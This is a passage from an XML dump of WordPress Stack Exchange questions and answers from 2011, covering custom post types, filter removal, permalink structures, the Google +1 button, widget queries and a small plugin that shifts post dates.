Tags="&lt;custom-post-types&gt;&lt;the-content&gt;&lt;remove-filter&gt;" AnswerCount="2" />
  <row Id="27016" PostTypeId="2" ParentId="27014" CreationDate="2011-08-27T01:15:47.433" Score="0" ViewCount="" Body="&lt;p&gt;It should work (and does when I test on a new WP install) with &lt;code&gt;__FILE__&lt;/code&gt;, though it's not recommended because it exposes the server path and is just generally an ugly URL. You can replace it with a unique identifier like 'sb-generator-options' or whatever really, as long as it's unique. the important part is the last param that tells it what function to use to render the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you maybe moving &lt;code&gt;add_submenu_page&lt;/code&gt; out of the plugin file, or are you just editing it in place?&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-27T01:15:47.433" />
  <row Id="27017" PostTypeId="2" ParentId="27015" CreationDate="2011-08-27T02:01:07.950" Score="0" ViewCount="" Body="&lt;p&gt;Try re-adding the 'do_shortcode' filter like so:    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function landingpage_remove_plugin_filters() {&#xA;&#xA;    global $wp_filter;&#xA;    global $wp;&#xA;    if ($wp-&amp;gt;query_vars[&quot;post_type&quot;] == 'landingpage') {&#xA;        remove_all_filters('the_content', 'plugin_filters');&#xA;        add_filter('the_content', 'do_shortcode');&#xA;    }&#xA;}   &#xA;&#xA;add_action('wp','landingpage_remove_plugin_filters');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7949" LastActivityDate="2011-08-27T02:01:07.950" CommentCount="3" />
  <row Id="27018" PostTypeId="2" ParentId="119" CreationDate="2011-08-27T02:12:29.400" Score="0" ViewCount="" Body="&lt;p&gt;for continuous syncs I highly suggest rsync along with some custom code to rewrite specific php variables if needed.&lt;/p&gt;&#xA;" OwnerUserId="8201" LastActivityDate="2011-08-27T02:12:29.400" />
  <row Id="27019" PostTypeId="2" ParentId="26384" CreationDate="2011-08-27T03:48:12.813" Score="0" ViewCount="" Body="&lt;p&gt;@Chris_O is right... currently sticky posts are not supported in custom post types so it must have something to do with the theme you are using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now disregarding the CPT problem... and assuming that it does work the same way wordpress stickies do then the goal that you are describing is exactly the way 'sticky' posts are designed to work in wordpress (i.e. show all the sticky posts before showing the normal posts and adhere to pagination), so from what I can tell your problem lies in the fact that you are trying to create two separate loops. In order to display the posts they way you want them to be displayed you should be using only one loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you tried just running one loop (i.e. removing the second query and replacing the first one with something like the below to see if the stickies are automatically added)? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$paged = get_query_var( 'paged' ) ? get_query_var( 'paged' ) : 1;&#xA;&#xA;$args=array(&#xA;  'post_type' =&amp;gt; 'my_custom_post_type',&#xA;  'paged' =&amp;gt; $paged,&#xA;  'posts_per_page' =&amp;gt; 10&#xA;);&#xA;query_posts($args);&#xA;&#xA;get_template_part( 'loop', 'post_normal' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5395" LastActivityDate="2011-08-27T03:48:12.813" CommentCount="2" />
  <row Id="27020" PostTypeId="2" ParentId="22416" CreationDate="2011-08-27T06:19:22.747" Score="0" ViewCount="" Body="&lt;p&gt;Here's a systematic way to troubleshoot this, from user asbjornu in &lt;a href=&quot;http://wordpress.stackexchange.com/questions/469/how-to-eliminate-weird-404-errors-in-wp-admin&quot;&gt;How to eliminate weird 404 errors in wp-admin?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The only way to debug this is to disable one plugin at a time, each&#xA;  time trying to reproduce the problem before you disable another&#xA;  plugin. Start with the plugins that have anything to do with the&#xA;  administration of WP, then move down to regular theme plugins, widgets&#xA;  and such.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Inspect the &quot;Not Found&quot; page that you are served better (browse with&#xA;  Opera and open the Info panel which will show you the headers,&#xA;  alternatively browse with Firefox and have Firebug with the &quot;Net&quot;&#xA;  panel enabled) and do a search through all of your plugins to see if&#xA;  they might be serving it directly. If not, take a look at the log of&#xA;  the web server to find out what exact resource it's unable to serve; a&#xA;  plugin might be doing some fancy redirecting or rewriting so it's not&#xA;  necessarily the URL you see in your browser that's causing the 404.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3564" LastActivityDate="2011-08-27T06:19:22.747" />
  <row Id="27021" PostTypeId="1" CreationDate="2011-08-27T06:22:17.877" Score="0" ViewCount="16" Body="&lt;p&gt;So I have a custom post type with 3 taxonomies attached to it. I want users to be able to filter custom posts based on their taxonomy choice. So I have 3 taxonomies, charity, type, location and I want to for exmaple domain.com/findby/location/los-angeles or domain.com/findby/charity/red-cross&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   domain.com/post-type/%postname%/&#xA;   domain.com/findyby/%taxonomy%/%specific-term%/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know it's doable, I'm just somewhat clueless as to how!&lt;/p&gt;&#xA;" OwnerUserId="8191" LastActivityDate="2011-08-27T07:39:13.187" Title="Custom Permalink Structure for terms/taxonomies of custom post type" Tags="&lt;custom-taxonomy&gt;&lt;permalinks&gt;" AnswerCount="1" />
  <row Id="27022" PostTypeId="2" ParentId="27001" CreationDate="2011-08-27T07:02:42.823" Score="0" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a page that will be your static home page - use any name - and publish. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Name the second page blog - don't add any content and publish.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to Administration &gt; Settings &gt; Reading &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set 'Front page displays:' to 'a static page' and choose the first page.&lt;/li&gt;&#xA;&lt;li&gt;Set 'Post Page' to the blog page.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a custom taxonomy for your portfolio custom post type - ensure the following option values - and ensure it's registered before the portfolio custom post type is registered, so that the slug portfolio/language will be checked for first, before the portfolio slug.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;pre&gt;&#xA;     'has_archive'           =&gt; true,&#xA;     'rewrite'               =&gt; array( 'slug' =&gt; 'portfolio/language', 'with_front' =&gt; false ),&#xA;     'query_var'             =&gt; true,&#xA;     'public'                =&gt; true,&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;(read as 5, the pre block messed up the ordered list) Create a custom post type for your portfolio items - ensure the following option values, and that it is registered after the custom taxonomy was registered.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;pre&gt;&#xA;     'has_archive'           =&gt; true,&#xA;     'rewrite'               =&gt; array( 'slug' =&gt; 'portfolio', 'with_front' =&gt; false ),&#xA;     'query_var'             =&gt; true,&#xA;     'public'                =&gt; true,&#xA;     'taxonomies'            =&gt; array('category' , 'post_tag', 'languages')&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2011-08-27T07:02:42.823" CommentCount="0" />
  <row Id="27023" PostTypeId="1" CreationDate="2011-08-27T07:07:43.327" Score="0" ViewCount="45" Body="&lt;p&gt;My website is &lt;a href=&quot;http://tablified.com&quot; rel=&quot;nofollow&quot;&gt;http://tablified.com&lt;/a&gt; and I have managed to setup the Google Plus script. The issue is that every page of the site displays a different Google Plus count. For example, if you go on my site you will see that I have about 180 Google Pluses. Now, if you click on something like &quot;Tablified Apps&quot; you will see that the Google Plus number on the top left corner of the screen is changed to 21. How do I display the Google Plus account for the main page across the entire website regardless of the page being displayed? Where should I place the script exactly? I am running this site on Wordpress. Perhaps a plugin could fix this and save me the hassle? The issue is that I need to have it at that EXACT location and I feel like a plugin would not accomplish this. Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="8203" LastEditorUserId="5074" LastEditorDisplayName="" LastEditDate="2011-09-04T11:31:29.483" LastActivityDate="2011-09-04T11:31:29.483" Title="Display a consistent Google Plus icon on ALL pages of my site" Tags="&lt;plugins&gt;&lt;javascript&gt;&lt;scripts&gt;&lt;google-plus&gt;" AnswerCount="2" />
  <row Id="27024" PostTypeId="2" ParentId="27015" CreationDate="2011-08-27T07:20:39.980" Score="0" ViewCount="" Body="&lt;p&gt;&lt;code&gt;remove_all_filters&lt;/code&gt; function removes all of the hooks from filter, and it only has two parameters &lt;code&gt;$tag&lt;/code&gt; ( the filter to remove hooks from ) and &lt;code&gt;$priority&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you want to remove all hooks from filter use &lt;code&gt;remove_all_filters&lt;/code&gt;, but if you only want to remove hook named &lt;code&gt;plugin_filters&lt;/code&gt; use &lt;code&gt;remove_filter&lt;/code&gt; function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function landingpage_remove_plugin_filters() {&#xA;    global $post;&#xA;&#xA;    if ( 'landingpage' == $post-&amp;gt;post_type )&#xA;        remove_filter( 'the_content', 'plugin_filters' );&#xA;}&#xA;add_action( 'wp', 'landingpage_remove_plugin_filters' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="888" LastActivityDate="2011-08-27T07:20:39.980" CommentCount="3" />
  <row Id="27025" PostTypeId="1" CreationDate="2011-08-27T07:37:42.847" Score="0" ViewCount="8" Body="&lt;p&gt;Well i want to have more categories and subcategories. Lets say 1000 categories. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want categories as checkboxes. I mean i don't want this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/SQW8h.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want them as a simple text box with ajax auto suggest. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets say i have a category called &quot;main category&quot;. It has two subcategories called &quot;sub1&quot; and &quot;sub2&quot;.&#xA;When a user input &quot;ma&quot; then ajax has to suggest &quot;main category&quot;. if &quot;main category&quot; selected then i have to show another text form for subcategories. &#xA;Something like this&#xA;&lt;img src=&quot;http://i.stack.imgur.com/TeBtC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible?&#xA;Any plugin available?. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is i want the category select as easy as possible. Is there any plugin available?. Or can you recommend some other way to accomplish job. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-08-27T07:37:42.847" Title="Admin category selection: Using text form with ajax auto category suggest instead of checkboxes. Is it possible?" Tags="&lt;categories&gt;&lt;plugin-recommendation&gt;" />
  <row Id="27026" PostTypeId="2" ParentId="27021" CreationDate="2011-08-27T07:39:13.187" Score="0" ViewCount="" Body="&lt;p&gt;Create your custom taxonomies for your custom post type and for each, set the slug to include the findby portion, as in the example below for charity.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;     'has_archive'           =&gt; true,&#xA;     'rewrite'               =&gt; array( 'slug' =&gt; 'findby/charity', 'with_front' =&gt; false ),&#xA;     'query_var'             =&gt; true,&#xA;     'public'                =&gt; true,&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Create your custom post type with desired slug.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;     'has_archive'           =&gt; true,&#xA;     'rewrite'               =&gt; array( 'slug' =&gt; 'postname', 'with_front' =&gt; false ),&#xA;     'query_var'             =&gt; true,&#xA;     'public'                =&gt; true,&#xA;&#xA;     // include all relevant taxonomies, such as category, post_tag and your custom ones&#xA;     'taxonomies'            =&gt; array('category' , 'post_tag', 'charity')&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2011-08-27T07:39:13.187" />
  <row Id="27027" PostTypeId="2" ParentId="26628" CreationDate="2011-08-27T07:45:30.837" Score="0" ViewCount="" Body="&lt;p&gt;I couldn't find best solution for this question.&#xA;If anyone have this question as mine then you may check this plugin. This is not the best one. But just a recommendation. &#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/multipost-mu/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/multipost-mu/&lt;/a&gt;&#xA;It actually duplicate the post. &#xA;Thanks &lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-08-27T07:45:30.837" />
  <row Id="27028" PostTypeId="2" ParentId="27023" CreationDate="2011-08-27T07:45:59.333" Score="0" ViewCount="" Body="&lt;p&gt;You have to explicitly &lt;a href=&quot;http://code.google.com/apis/+1button/#target-url&quot; rel=&quot;nofollow&quot;&gt;set the target url&lt;/a&gt; or it will use the rel canonical (if present) or grab URL of the current page via js.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.google.com/webmasters/+1/button/&quot; rel=&quot;nofollow&quot;&gt;Use the button generator&lt;/a&gt; and click advanced options to set the target URL, or:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;g:plusone href=&quot;http://tablified.com/&quot;&amp;gt;&amp;lt;/g:plusone&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-27T07:45:59.333" CommentCount="1" />
  <row Id="27029" PostTypeId="1" CreationDate="2011-08-27T08:02:09.500" Score="0" ViewCount="11" Body="&lt;p&gt;I want to use one username and password which is of mysite and it is also applicable in wordpress on mysite.Please give me the right solution which is not much complex?&lt;/p&gt;&#xA;" OwnerUserId="8190" LastActivityDate="2011-08-27T08:02:09.500" Title="I want to use same login detail for mysite and wordpress on mysite for bloging not saperate for both?" Tags="&lt;multisite&gt;" CommentCount="2" />
  <row Id="27030" PostTypeId="1" AcceptedAnswerId="27032" CreationDate="2011-08-27T08:58:09.443" Score="0" ViewCount="17" Body="&lt;p&gt;My blog uses the &lt;code&gt;/?p=378&lt;/code&gt; permalink structure for some years. This isn't very helpful with Google Analytics, and I would like to change it to the &lt;code&gt;YEAR/MONTH/DAY/post-title&lt;/code&gt; structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this without losing backward compatability, so that old link will work?&lt;/p&gt;&#xA;" OwnerUserId="6117" LastActivityDate="2011-08-27T09:48:02.293" Title="Multiple permalinks" Tags="&lt;permalinks&gt;" AnswerCount="2" />
  <row Id="27031" PostTypeId="2" ParentId="23944" CreationDate="2011-08-27T09:09:06.337" Score="1" ViewCount="" Body="&lt;p&gt;Rajeev Vyas is more or less correct... personally I think the best way to do this is to make a tiny plugin that will update all your dates when the plugin is activated. After updating the dates... delete the plugin and keep in mind that if you activate the plugin again all your dates will change again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So step by step:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First create a new php file and add the appropriate header info so that Wordpress recognizes it as a plugin. Save this to your /wp-content/plugins folder. Here is an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Plugin Name: Plus One Year&#xA; * Description: Adds one year to the publish date of all published posts&#xA; * Author: Your Name&#xA; */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now in this newly created file create a function and tie it into your plugin activation hook. This function will take care of updating all your post dates.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function plus_one_year_activate(){}&#xA;&#xA;// Register Plugin Activation Hook&#xA;register_activation_hook(__FILE__, 'plus_one_year_activate');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now write the 'plus_one_year_activate' function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function plus_one_year_activate(){&#xA;&#xA;    global $wpdb;&#xA;&#xA;    $format = 'Y-m-d H:i:s'; // Format that wordpress uses to save dates&#xA;&#xA;    // Using $wpdb grab all of the posts that we want to update&#xA;&#xA;    $post_type = 'your_custom_post_type'; //change this to your custom post type&#xA;    $post_status = 'publish'; // we only want to change published posts&#xA;    $query = &quot;SELECT ID, post_date, post_date_gmt FROM $wpdb-&amp;gt;posts WHERE post_type = '$post_type' AND post_status = '$post_status'&quot;;&#xA;    $posts = $wpdb-&amp;gt;get_results( $query );&#xA;&#xA;    // This loop will handle the date changing using wp_update_post&#xA;    foreach( $posts as $post ){&#xA;&#xA;        $id = $post-&amp;gt;ID;&#xA;&#xA;        // get the old dates&#xA;        $old_date = $post-&amp;gt;post_date;&#xA;        $old_gmt_date = $post-&amp;gt;post_date_gmt;&#xA;&#xA;        // create the new dates and correctly format the new date before saving it to the database&#xA;        $new_date = date( $format, strtotime( '+1 year' , strtotime( $old_date ) ) );&#xA;        $new_date_gmt = date( $format, strtotime( '+1 year' , strtotime( $old_gmt_date ) ) );&#xA;&#xA;        $new_values = array (&#xA;            'ID' =&amp;gt; $id,&#xA;            'post_date' =&amp;gt; $new_date,&#xA;            'post_date_gmt' =&amp;gt; $new_date_gmt&#xA;        );&#xA;&#xA;        wp_update_post( $new_values );&#xA;&#xA;    }&#xA;    return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save and go activate this plugin. Once activated... all your dates will change. After activating, delete this plugin so you don't accidentally add another year to your dates (your changes will persist even after you delete the plugin). Hope this helped.&lt;/p&gt;&#xA;" OwnerUserId="5395" LastActivityDate="2011-08-27T09:09:06.337" />
  <row Id="27032" PostTypeId="2" ParentId="27030" CreationDate="2011-08-27T09:11:09.730" Score="1" ViewCount="" Body="&lt;p&gt;The old link (?p=378) will always work, and it will redirect to the &quot;pretty&quot; permalink.&lt;/p&gt;&#xA;" OwnerUserId="7949" LastActivityDate="2011-08-27T09:11:09.730" />
  <row Id="27033" PostTypeId="2" ParentId="27030" CreationDate="2011-08-27T09:48:02.293" Score="1" ViewCount="" Body="&lt;p&gt;Like Devin said, the old link will always work and it will be redirected to the new link automatically by WordPress. Just make sure, that your .htaccess file is writable. Plus WordPress writes a reference to the short link in to the header section like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel='shortlink' href='http://yoursite.com/?p=378' /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8199" LastActivityDate="2011-08-27T09:48:02.293" />
  <row Id="27034" PostTypeId="2" ParentId="27023" CreationDate="2011-08-27T09:57:59.883" Score="0" ViewCount="" Body="&lt;p&gt;If you change the target URL, you need to be aware of that your visitors will only be able to Google +1 one time and that's for the home page. If a user likes another section or page of your site like the Tablified Games they won't be able to Google +1 that page because they have already done that because it's always the same Google +1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you have more than the 180 Google +1. The 180 are just for the homepage and the others you see are for the specific pages.&lt;/p&gt;&#xA;" OwnerUserId="8199" LastActivityDate="2011-08-27T09:57:59.883" />
  <row Id="27035" PostTypeId="1" AcceptedAnswerId="27036" CreationDate="2011-08-27T10:02:41.163" Score="0" ViewCount="36" Body="&lt;p&gt;Below there is a widget with a Wordpress loop inside.&#xA;It works as expected. The only problem is this part:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'post_parent' =&amp;gt; $post-&amp;gt;ID,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The widget is not getting the &lt;code&gt;post-&amp;gt;ID&lt;/code&gt; of the parent of the current &lt;code&gt;topic&lt;/code&gt; custom post type (with is another custom post type called &lt;code&gt;forum&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does work when I place the loop in a template file.&#xA;This:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $current_post_id = $post-&amp;gt;ID; ?&amp;gt;&#xA;&#xA;&amp;lt;h2&amp;gt;&amp;lt;?php echo $current_post_id; ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Outputs a post id (the forum custom post type which is the parent of the topic custom post type).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Most voted topics widget&#xA; */&#xA;class MostVotedTopics extends WP_Widget {&#xA;    /** constructor */&#xA;    function MostVotedTopics() {&#xA;        parent::WP_Widget(false, $name = 'Most Voted Topics');&#xA;    }&#xA;&#xA;    /** @see WP_Widget::widget */&#xA;    function widget($args, $instance) {&#xA;        extract( $args );&#xA;        $title = apply_filters('widget_title', $instance['title']);&#xA;        ?&amp;gt;&#xA;          &amp;lt;?php echo $before_widget; ?&amp;gt;&#xA;              &amp;lt;?php if ( $title )&#xA;                    echo $before_title . $title . $after_title; ?&amp;gt;&#xA;&#xA;                &amp;lt;?php // Display the top topics of current forum&#xA;                    $args = array(&#xA;                        'post_type' =&amp;gt; 'topic',&#xA;                        'posts_per_page' =&amp;gt; '3',&#xA;                        'post_parent' =&amp;gt; $post-&amp;gt;ID,&#xA;                        'gdsr_sort' =&amp;gt; 'thumbs',&#xA;                        'gdsr_ftvmin' =&amp;gt; '1',&#xA;                        'gdsr_order' =&amp;gt; 'desc',&#xA;                        'order' =&amp;gt; 'DESC'&#xA;                    );&#xA;                ?&amp;gt;&#xA;&#xA;            &amp;lt;?php query_posts( $args ); ?&amp;gt;&#xA;                    &amp;lt;?php while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;                        &amp;lt;div class=&quot;topic-wrapper&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;topic-left&quot;&amp;gt;&#xA;&#xA;                &amp;lt;?php $current_post_id = $post-&amp;gt;ID; ?&amp;gt;&#xA;&#xA;                &amp;lt;h2&amp;gt;&amp;lt;?php echo $current_post_id; ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;                                &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php bbp_topic_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php bbp_topic_title(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php bbp_topic_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                                &amp;lt;span&amp;gt;&amp;lt;?php printf( __( 'Started by: %1$s', 'bbpress' ), bbp_get_topic_author_link( array( 'size' =&amp;gt; '14' ) ) ); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;&#xA;        &amp;lt;?php echo get_avatar(get_the_author_meta('user_email'), 64); ?&amp;gt;&#xA;&#xA;            &amp;lt;?php the_author_meta('nicename'); ?&amp;gt;&#xA;&#xA;        &amp;lt;p&amp;gt;Last modified on the: &amp;lt;?php the_modified_date(); ?&amp;gt;. by: &amp;lt;?php the_modified_author();?&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;Time last modified: &amp;lt;?php the_modified_time(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;?php echo time_ago(); ?&amp;gt;&#xA;&#xA;                                &amp;lt;div class=&quot;topic-like-count&quot;&amp;gt;&#xA;                                    &amp;lt;h4&amp;gt;&amp;lt;?php wp_gdsr_render_article_thumbs(); ?&amp;gt;&amp;lt;/h4&amp;gt;&#xA;&#xA;                                    &amp;lt;?php preg_match( '!&amp;lt;div class=&quot;thumblock &quot;&amp;gt;(.*)&amp;lt;/div&amp;gt;!si' , wp_gdsr_render_article_thumbs(0, false, &quot;&quot;, 0, &quot;&quot;, false) , $n );&#xA;                                    $thumbs_number = strip_tags( $n[1] ); ?&amp;gt;&#xA;&#xA;                                    &amp;lt;?php if ( $thumbs_number == 1 || $thumbs_number == -1 ) : ?&amp;gt;&#xA;                                        &amp;lt;span&amp;gt;&amp;lt;?php _e( 'vote' ); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;                                    &amp;lt;?php else : ?&amp;gt;&#xA;                                        &amp;lt;span&amp;gt;&amp;lt;?php _e( 'votes' ); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;                                    &amp;lt;?php endif; ?&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;div class=&quot;topic-reply-count&quot;&amp;gt;&#xA;                                    &amp;lt;h4&amp;gt;&amp;lt;?php bbp_topic_reply_count(); ?&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                                    &amp;lt;?php if ( bbp_get_topic_reply_count() == 1 ) : ?&amp;gt;&#xA;                                        &amp;lt;span&amp;gt;&amp;lt;?php _e( 'reply' ); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;                                    &amp;lt;?php else : ?&amp;gt;&#xA;                                        &amp;lt;span&amp;gt;&amp;lt;?php _e( 'replies' ); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;                                    &amp;lt;?php endif; ?&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;&#xA;                                &amp;lt;div class=&quot;topic-freshness&quot;&amp;gt;&#xA;                                    &amp;lt;h4&amp;gt;&amp;lt;?php bbp_topic_freshness_link(); ?&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                                        &amp;lt;span&amp;gt;&#xA;                                            &amp;lt;?php bbp_author_link( array( 'post_id' =&amp;gt; bbp_get_topic_last_active_id(), 'size' =&amp;gt; 14 ) ); ?&amp;gt;&#xA;                                        &amp;lt;/span&amp;gt;&#xA;                                &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;?php $most_voted[] = get_the_ID(); // get the id of the most voted post ?&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;?php endwhile; ?&amp;gt;&#xA;            &amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;            &amp;lt;?php print_r($most_voted); ?&amp;gt;&#xA;&#xA;              &amp;lt;?php echo $after_widget; ?&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;&#xA;    /** @see WP_Widget::update */&#xA;    function update($new_instance, $old_instance) {&#xA;    $instance = $old_instance;&#xA;    $instance['title'] = strip_tags($new_instance['title']);&#xA;        return $instance;&#xA;    }&#xA;&#xA;    /** @see WP_Widget::form */&#xA;    function form($instance) {&#xA;        $title = esc_attr($instance['title']);&#xA;        ?&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('title'); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('Title:'); ?&amp;gt; &amp;lt;input class=&quot;widefat&quot; id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id('title'); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name('title'); ?&amp;gt;&quot; type=&quot;text&quot; value=&quot;&amp;lt;?php echo $title; ?&amp;gt;&quot; /&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;?php&#xA;    }&#xA;&#xA;} // class FooWidget&#xA;&#xA;// register FooWidget widget&#xA;add_action('widgets_init', create_function('', 'return register_widget(&quot;MostVotedTopics&quot;);'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestion to fix this?&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-08-27T10:20:20.450" LastActivityDate="2011-08-27T10:28:04.570" Title="How to get the post id (of the parent custom custom type) in a loop inside a widget?" Tags="&lt;posts&gt;&lt;bbpress&gt;&lt;id&gt;" AnswerCount="1" />
  <row Id="27036" PostTypeId="2" ParentId="27035" CreationDate="2011-08-27T10:28:04.570" Score="1" ViewCount="" Body="&lt;p&gt;Don't use &lt;code&gt;query_posts&lt;/code&gt;. As noted in the &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/query_posts&quot; rel=&quot;nofollow&quot;&gt;Codex&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Not for Secondary Loops&lt;/strong&gt; You should not use query_posts() to create&#xA;  secondary listings (for example, a list of related posts at the bottom&#xA;  of the page, or a list of links in a sidebar widget).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You should use &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;WP_Query&lt;/code&gt;&lt;/a&gt; instead. E.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'post_type' =&amp;gt; 'topic',&#xA;    'posts_per_page' =&amp;gt; '3',&#xA;    'post_parent' =&amp;gt; get_the_ID(),&#xA;    'gdsr_sort' =&amp;gt; 'thumbs',&#xA;    'gdsr_ftvmin' =&amp;gt; '1',&#xA;    'gdsr_order' =&amp;gt; 'desc',&#xA;    'order' =&amp;gt; 'DESC'&#xA;);&#xA;&#xA;$query = new WP_Query($args);&#xA;&#xA;&#xA;if($query-&amp;gt;have_posts()) :&#xA;    while ( $query-&amp;gt;have_posts() ) : $query-&amp;gt;the_post();&#xA;        // do your stuff&#xA;    endwhile;&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3817" LastActivityDate="2011-08-27T10:28:04.570" CommentCount="1" />
